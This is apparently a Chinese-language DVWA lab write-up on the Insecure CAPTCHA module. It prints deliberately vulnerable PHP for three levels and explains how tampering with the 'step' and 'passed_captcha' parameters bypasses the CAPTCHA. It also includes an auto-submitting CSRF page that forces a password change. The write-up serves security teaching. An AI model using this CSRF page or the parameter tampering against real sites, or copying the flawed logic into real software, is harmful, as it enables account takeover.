DVWA全级别之Insecure CAPTCHA
Insecure CAPTCHA
不安全的验证流程,这块主要是验证流程出现了逻辑漏洞。
reCAPTCHA验证流程
这一模块的验证码使用的是Google提供reCAPTCHA服务,下图是验证的具体流程。
服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。
recaptcha_check_answer($privkey,$remoteip, $challenge,$response)
参数$privkey
是服务器申请的private key ,$remoteip
是用户的ip,$challenge
是recaptcha_challenge_field 字段的值,来自前端页面 ,$response
是 recaptcha_response_field 字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse 类有2个属性 :
$is_valid是布尔型的,表示校验是否有效,
$error是返回的错误代码。
下面对三种级别的代码进行分析。
LOW
服务器端核心代码:
<?php
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '1' ) ) {
$hide_form = true;
$user = $_POST['username'];
$pass_new = $_POST['password_new'];
$pass_conf = $_POST['password_conf'];
$resp = recaptcha_check_answer ($_DVWA['recaptcha_private_key'],
$_SERVER["REMOTE_ADDR"],
$_POST["recaptcha_challenge_field"],
$_POST["recaptcha_response_field"]);
if (!$resp->is_valid) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
} else {
if (($pass_new == $pass_conf)){
echo "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes. <br /></pre>";
echo "
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"" . $pass_new . "\" />
<input type=\"hidden\" name=\"password_conf\" value=\"" . $pass_conf . "\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else{
echo "<pre> Both passwords must match </pre>";
$hide_form = false;
}
}
}
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '2' ) )
{
$hide_form = true;
if ($pass_new != $pass_conf)
{
echo "<pre><br />Both passwords must match</pre>";
$hide_form = false;
return;
}
$pass = md5($pass_new);
if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match. </pre>";
}
}
?>
可以看到,服务器将改密操作分成了两步,第一步检查用户输入的验证码,验证通过后,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。但是,这其中存在明显的逻辑漏洞,服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。
漏洞利用
1、首先输入密码,点击Change按钮,抓包,更改step参数绕过验证码:
修改密码成功。
2.由于没有任何的防CSRF机制,我们可以轻易地构造攻击页面,页面代码如下:
<html>
<body onload="document.getElementById('transfer').submit()">
<div>
<form method="POST" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/captcha/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="step" value="2"
<input type="hidden" name="Change" value="Change">
</form>
</div>
</body>
</html>
当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器。
美中不足的是,受害者会看到更改密码成功的界面(这是因为修改密码成功后,服务器会返回302,实现自动跳转),从而意识到自己遭到了攻击。
Medium
服务器端核心代码:
<?php
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '1' ) ) {
$hide_form = true;
$user = $_POST['username'];
$pass_new = $_POST['password_new'];
$pass_conf = $_POST['password_conf'];
$resp = recaptcha_check_answer($_DVWA['recaptcha_private_key'],
$_SERVER["REMOTE_ADDR"],
$_POST["recaptcha_challenge_field"],
$_POST["recaptcha_response_field"]);
if (!$resp->is_valid) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
} else {
if (($pass_new == $pass_conf)){
echo "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes. <br /></pre>";
echo "
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"" . $pass_new . "\" />
<input type=\"hidden\" name=\"password_conf\" value=\"" . $pass_conf . "\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else{
echo "<pre> Both passwords must match </pre>";
$hide_form = false;
}
}
}
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '2' ) )
{
$hide_form = true;
if (!$_POST['passed_captcha'])
{
echo "<pre><br />You have not passed the CAPTCHA. Bad hacker, no doughnut.</pre>";
$hide_form = false;
return;
}
$pass = md5($pass_new);
if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match. </pre>";
}
}
?>
可以看到,Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。
漏洞利用
1.可以通过抓包,更改step参数,增加passed_captcha参数,绕过验证码。
2、仍然可以进行CSRF攻击。
High
服务器端核心代码:
<?php
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '1' ) ) {
$hide_form = true;
$pass_new = $_POST['password_new'];
$pass_new = stripslashes( $pass_new );
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
$pass_conf = $_POST['password_conf'];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = mysql_real_escape_string( $pass_conf );
$pass_conf = md5( $pass_conf );
$resp = recaptcha_check_answer ($_DVWA['recaptcha_private_key'],
$_SERVER["REMOTE_ADDR"],
$_POST["recaptcha_challenge_field"],
$_POST["recaptcha_response_field"]);
if (!$resp->is_valid) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
} else {
// Check that the current password is correct
$qry = "SELECT password FROM `users` WHERE user='admin' AND password='$pass_curr';";
$result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );
if (($pass_new == $pass_conf) && ( $result && mysql_num_rows( $result ) == 1 )){
$insert="UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Either your current password is incorrect or the new passwords did not match. Please try again. </pre>";
}
}
}
?>